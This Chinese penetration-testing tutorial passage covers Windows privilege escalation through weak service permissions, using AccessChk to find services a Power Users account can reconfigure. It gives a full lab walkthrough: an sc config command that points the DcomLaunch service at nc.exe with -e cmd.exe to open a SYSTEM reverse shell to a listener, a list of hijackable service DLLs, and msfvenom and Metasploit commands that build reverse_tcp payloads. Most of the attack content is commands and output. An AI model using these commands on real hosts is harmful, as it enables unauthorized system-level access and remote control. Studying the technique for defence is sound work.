2.3 Windows低权限进程及服务提权
在实际渗透过程中,攻击者有可能获取了操作系统中的一个普通用户账号权限或者WebShell权限,通过低权限用户进行越权,从而获取系统权限。其利用原理主要是通过微软的AccessChk工具软件配合SC来操作服务,通过服务的重启而得到权限。
2.3.1 AccessChk简介及使用
1.AccessChk简介
AccessChk是Sysinternals中的一个小工具,目前最新版本为6.1。由于其新版本中存在一些Bug,在实际使用时会提示需要多个dll文件,因此在本案例中使用的是3.0版本,其官方网站提供的下载地址为https://technet.microsoft.com/en-us/Sysinternals/bb664922.aspx。
AccessChk主要用来检查用户和用户组对文件、目录、注册表项、全局对象和系统服务的权限情况,在实际配置过程中如果权限设置失误,就可能被用于提权。
2.使用AccessChk
在命令行下第一次运行时需要同意一个许可。如果不想看到提示窗口,可以执行“accesschk.exe/accepteula”命令,其主要参数如下。
usage: accesschk [-s][-e][-u][-r][-w][-n][-v][[-a]|[-k]|[-p [-f] [-t]][-o [-t <object type>]][-c]|[-d]] [[-l [-i]]|[username]] <file, directory, registry key, process, service, object>
这个命令分为3个部分。“accesschk”是程序名;第1个参数有9个可选项,部分可选项里还有可选参数;第2个参数是一个目标,这个目标可以是文件、目录、注册项、进程、服务、对象。
· -a:Windows账户权限。“*”作为显示所有分配给用户的权限名称,只有指定用户名称或者组时才显示指派的权限。
· -c:显示服务名称,“*”用于显示所有服务。
· -d:仅处理目录或顶级键。
· -e:只显示显式设置的完整性级别(Windows Vista和更高版本)。
· -f:显示包含组和特权的完整过程令牌信息。
· -k:注册表键值,例如“hklm\software”。
· -I:在取消完全访问控制列表时忽略只继承继承符的对象。
· -l:显示全部访问控制列表。添加“-I”将忽略继承ACE。
· -n:仅显示没有访问权限的对象。
· -o:名称是对象管理器命名空间中的一个对象(默认是root)。查看一个目录的内容,用反斜线或“-S”、“-T”和对象类型指定名称。
· -p:进程名或者PID,例如cmd.exe(使用“*”显示所有的进程)。加“-f”显示包括组和特权的所有进程令牌信息,加“-t”显示线程。
· -q:省略标识。
· -r:显示对象只读属性。
· -s:递归。
· -t:对象类型筛选器。
· -u:抑制错误。
· -v:冗长(包括Windows Vista完整性级别)。
· -w:仅显示具有写访问权限的对象。
查看用户服务,查看管理员组、users组下的所有服务,命令如下。
accesschk administrators -c * accesschk users -c *
如图2-10所示,可以对某个用户进行查看,主要用来提权。例如,查看simeon用户所具备的读写服务器权限,命令为“accesschk simeon-c * | find "RW"”或者“accesschk simeon -cw *”。
图2-10 查看指定用户的服务权限
查看用户组中对系统服务所具备的写权限,如果有则会显示,否则会提示“No matching objects found”,具体如下。
accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Administrators" * accesschk.exe -uwcqv "Backup Operators" * accesschk.exe -uwcqv "Distributed COM Users" * accesschk.exe -uwcqv "Guests" * accesschk.exe -uwcqv "HelpServicesGroup" * accesschk.exe -uwcqv "IIS_WPG" * accesschk.exe -uwcqv "Network Configuration Operators" * accesschk.exe -uwcqv "Performance Monitor Users" * accesschk.exe -uwcqv "Performance Log Users" * accesschk.exe -uwcqv "Power Users" * accesschk.exe -uwcqv "Print Operators" * accesschk.exe -uwcqv "Remote Desktop Users" * accesschk.exe -uwcqv "Replicator" * accesschk.exe -uwcqv "TelnetClients" * accesschk.exe -uwcqv "Users" *
2.3.2 获取低权限可操作服务的名称
1.实验环境
本次实验环境为Windows Server 2003SP3,用户simeon属于Power User组,可登录系统,IP地址为192.168.52.175。监听服务IP地址为192.168.52.215。将nc.exe复制到c:\windows\temp目录下。
2.获取可读写的服务
执行以下命令获取Power Users组可以操作的服务名称信息,如图2-11所示。
图2-11 获取可读写的服务名称
accesschk.exe -uwcqv "Power Users" *
执行后显示结果如下。
RW DcomLaunch SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL RW kdc SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_CHANGE_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS READ_CONTROL
3.查询服务详细信息
名称为“DcomLaunch”、“kdc”的服务可以被simeon用户操作。使用“sc qc kdc”命令查询kdc服务的详细信息,如图2-12所示,可以看到该服务是以系统权限运行的。
图2-12 查询kdc服务的详细信息
4.确定使用的服务
执行命令“net start”查看系统目前已经启动的服务,也可以使用以下命令直接获取。如图2-13所示,在启动服务列表中发现“DCOM Server Process Launcher”服务的名称。
图2-13 获取服务名称
net start | find "DCOM Server Process Launcher" net start | find "Kerberos Key Distribution Center"
5.获取服务名称所对应的服务
使用命令“tasklist/svc”,如图2-14所示,获取“DCOM Server Process Launcher”服务名称所对应的服务“DcomLaunch”。
2.3.3 修改服务并获取系统权限
1.修改服务参数binpath的值
使用sc命令对服务进行修改,具体如下。
sc config DcomLaunch binpath= "C:\windows\temp\nc.exe -nv 192.168.52.2154433 -e C:\WINDOWS\System32\cmd.exe"
如图2-15所示,执行命令后,显示修改服务配置成功。再次使用“sc qc DcomLaunch”命令,执行文件已经更改为“C:\windows\temp\nc.exe-nv 192.168.52.2154433-e C:\WINDOWS\System32\cmd.exe”。查询服务的命令为“sc qc DcomLaunch”。
图2-15 修改binpath的值
2.重新启动服务
先执行“sc config DcomLaunch obj=".\LocalSystem" password=""”命令,然后使用“net start DcomLaunch”命令启动(也可以通过services.msc服务管理器重启该服务),如图2-16所示。
图2-16 重新启动服务
3.反弹获取服务器权限
如图2-17所示,在反弹服务器192.168.52.215中监听4433端口,成功获取来自192.168.52.175的反弹,且为系统权限。
图2-17 反弹获取服务器权限
4.总结
在Windows XP、Windows Server 2003、Windows 7(32/64)下有一些dll文件也可以被替换,具体如下。
· IKE and AuthIP IPsec Keying Modules (IKEEXT):wlbsctrl.dll。
· Windows Media Center Receiver Service (ehRecvr):ehETW.dll。
· Windows Media Center Scheduler Service (ehSched):ehETW.dll。
· Automatic Updates (wuauserv):ifsproxy.dll。
· Remote Desktop Help Session Manager (RDSessMgr):SalemHook.dll。
· Remote Access Connection Manager (RasMan):ipbootp.dll。
· Windows Management Instrumentation (winmgmt):wbemcore.dll。
· Audio Service (STacSV):SFFXComm.dll SFCOM.DLL。
· Intel(R) Rapid Storage Technology (IAStorDataMgrSvc):DriverSim.dll。
· Juniper Unified Network Service(JuniperAccessService):dsLogService.dll。
可以使用MSF生成exe文件。
·用Linux MSF监听4433端口,命令如下。
./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 lport=4433 -f exe -o /tmp/my_payload.exe
·在Windows下监听4433端口,命令如下。
./msfvenom -p windows/shell_reverse_tcp lhost=192.168.52.215 lport=4433-f exe -o /tmp/w.exe
在MSF上执行如下命令。
set payload windows/meterpreter/reverse_tcp show options set lhost 192.168.52.215 set lport 4433 run 0
将生成的“/tmp/my_payload.exe”按照本书的方法执行,即可得到反弹的WebShell。